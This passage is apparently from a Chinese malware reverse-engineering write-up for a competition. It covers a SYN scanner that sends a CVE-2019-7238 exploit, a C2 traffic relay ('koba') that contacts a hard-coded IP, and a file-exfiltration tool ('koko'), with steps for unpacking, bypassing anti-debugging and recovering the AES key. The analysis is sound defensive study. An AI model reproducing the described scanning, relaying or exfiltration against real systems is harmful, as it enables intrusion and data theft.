首先初始化要发送的TCP包,设置小于1024的随机源端口,固定目的端口37215,并设置TCP header的SYN标志位。
图6-23 初始化要发送的TCP包
生成随机IP,发送TCP SYN报文探测其37215 TCP端口是否开放,最多探测256个随机IP。
图6-24 生成随机IP并探测
如果对端回复SYN+ACK,说明其TCP端口开放,就和对端建立TCP连接,随后向对端发送CVE-2019-7238的PoC。
图6-25 向对端发送CVE-2019-7238的PoC
6.2 Koba逆向分析
koba的功能非常简单。koba运行后,首先向195.220.160.50请求cnc ip和端口,并记录在/opt/cnc.info中。然后监听本地tcp9999端口,将所有接收到的流量转发到cnc。
koba主进程启动后会拉起两个子进程,一个负责获取cnc socket(ip和端口),另一个负责转发。主进程没有其他功能,所以下面分别介绍两个子进程。
6.2.1 请求cnc socket
第一个进程启动后,会反复尝试与195.220.160.50:8080建立tcp连接。建立成功后,发送“cnc_info”字符串,然后读取返回信息并写入/opt/cnc.info。
图6-26 读取返回信息并写入/opt/cnc.info
6.2.2 流量转发
第二个进程会从/opt/cnc.info读取信息,然后解码并检查ip和端口是否合法。
图6-27 从/opt/cnc.info读取信息
随后,进程开始监听9999端口,如果有其他主机与该端口建立tcp连接,就新建forwarding_message线程,将监听到的数据全部转发给cnc服务器。
图6-28 监听9999端口
图6-29 转发数据给cnc服务器
6.3 Koko逆向分析
Koko本身逻辑并不复杂,主要功能就是递归扫盘(从根目录开始),对文件进行AES加密,然后根据同一目录下config.txt文件中配置的ip和端口,将加密后的数据分块发送到指定的地址,分块大小是1024字节。
难点在于Koko被做了加固,首先对主体逻辑进行了ollvm代码扁平化混淆,在进入主体逻辑之前,又添加了4种不同的反调试手段,最后在程序的最外层套了UPX壳。
6.3.1 UPX脱壳
拿到Koko,首先查看程序中的字符串,发现有UPX3.95,说明被加了一层UPX壳。
图6-30 UPX壳
尝试用常规方法upx -d 直接脱壳未果,说明这是UPX变种壳,只能手动去壳。我们采用单步调试的方法寻找OEP,为了增加脱壳效率,我们按照下述原则单步调试:
碰到call先按F8跳过函数执行,如果跳完之后不受控制导致调试结束,下一次就F7跟进这个call。
只下不上原则,如果碰到条件跳转跳回到之前执行过的指令,就在条件跳转的下一条指令处下断点,继续执行直到命中断点。
重点追踪大跳,比如ret,jmp 到一个寄存器地址这种:
图6-31 retn跳转
图6-32 jmp跳转
大跳多跳几次就能跳转到OEP:
图6-33 跳转到OEP
执行IDA 内存转储脚本(见附件dump.idc)将脱壳后的内存dump出来。
6.3.2 反调试
Koko设计了4种反调试,具体如下:
在init中注册SIGALRM信号处理函数sub_402030,该处理函数为exit(1),即当程序收到SIGALRM信号时会立刻退出。随后调用alarm(3),会在3秒后向进程发送SIGALRM信号。一旦调试时间超过3秒,进程就会退出。
图6-34 进程退出
绕过的方法很简单,可以选择调试的时候将SIGALRM忽略而非传递给进程。也可以直接将信号处理函数patch掉。
ptrace调试当前进程:
ptrace(PTRACE_TRACEME, 0, 0, 0);
在同一时间,进程最多只能被一个调试器进行调试。因此可以通过调试进程自身,来判断是否已经有其他进程(调试器)的存在。
我们将ptrace的返回值patch为0来绕过这个反调试技术。
通过/proc/self/exe获取程序的大小,检查当前运行的程序是否被脱壳,脱壳前后程序大小对比如下图所示:
图6-35 文件大小比对
脱壳后程序的大小达到952K,显然超过设定的限制,因此程序会立刻返回。
图6-36 程序返回
绕过的方法就是将返回值patch掉,小于400000即可。
fork创建子进程,在子进程中执行koko的主体逻辑,使用gdb或IDA动态调试时,默认只会继续追踪主进程而不会管子进程。
图6-37 创建子进程
解决办法:通过设置set follow-fork-mode child参数可以使gdb追踪到子进程中,同时配合IDA静态分析,在源码级别实现对子进程的动态调试。
也可以先运行,通过ps -ef查看子进程的pid,然后把IDA attach上去。或者更暴力一点,直接把fork patch掉。我们使用的是最后一种方法。
6.3.3 ollvm扁平化
在去混淆之前,koko主函数的控制流图如下所示:很明显对代码的控制逻辑进行了扁平化。
图6-38 ollvm扁平化
我们使用github上的开源工具deflat[5]对代码去扁平化。主函数去完之后的逻辑如下,明显清晰了很多:
图6-39 去扁平化后
虽然去的不是很干净,函数调用中多了一些莫名奇妙的参数,但是主体逻辑是对的,我们配合动态调试对koko做进一步分析。
6.3.5 主体逻辑
在koko扫盘的过程中,每发一个文件,就将其读到内存并用AES加密,最后根据config.txt中配置的IP和端口将加密后的数据分块(1024字节)发送出去。
图6-40 将加密后的数据分块发送出去
6.3.6 AES加密
根据题干信息和流量中的可疑加密流量,猜测窃密行为可能使用了对称加密算法,使用Findcrypt插件找到AES相关字符串。
图6-41 找到AES相关字符串
分析两处字符串的引用,粗略判断sub_404DF0可能是AES算法中的AddRoundKey环节,sub_403FA0则是密钥扩展环节。
图6-42 AddRoundKey逻辑
图6-43 密钥扩展
进一步分析可知sub_402520函数中存在对密钥原始数据的解码,以及对数据的加密操作,是koko加密逻辑的关键函数。首先对这段密钥原始数据进行异或0x21的操作。
图6-44 密钥原始数据
然后经过下面这段逻辑处理,sub_403420函数中对经过处理后的密钥原始数据进行魔改(换表)base64解码得到v40(也就是真正用于AES加密的密钥)。
图6-45 base64解码逻辑
可以手动提取数据,进行解码得到密钥:
图6-46 还原密钥
也可以配合动态调试,最终找到AES密钥`He!Datacon2023!!`:
图6-47 动态调试还原密钥
参考文献
[1]https://blog.csdn.net/qq_32350719/article/details/88662306
[2]https://www.cloudflare.com/zh-cn/learning/ddos/ddos-low-and-slow-attack/
[3]https://github.com/mpgn/CVE-2019-7238
[4] https://github.com/ruCyberPoison/-Mirai-Iot-BotNet
[5] https://github.com/cq674350529/deflat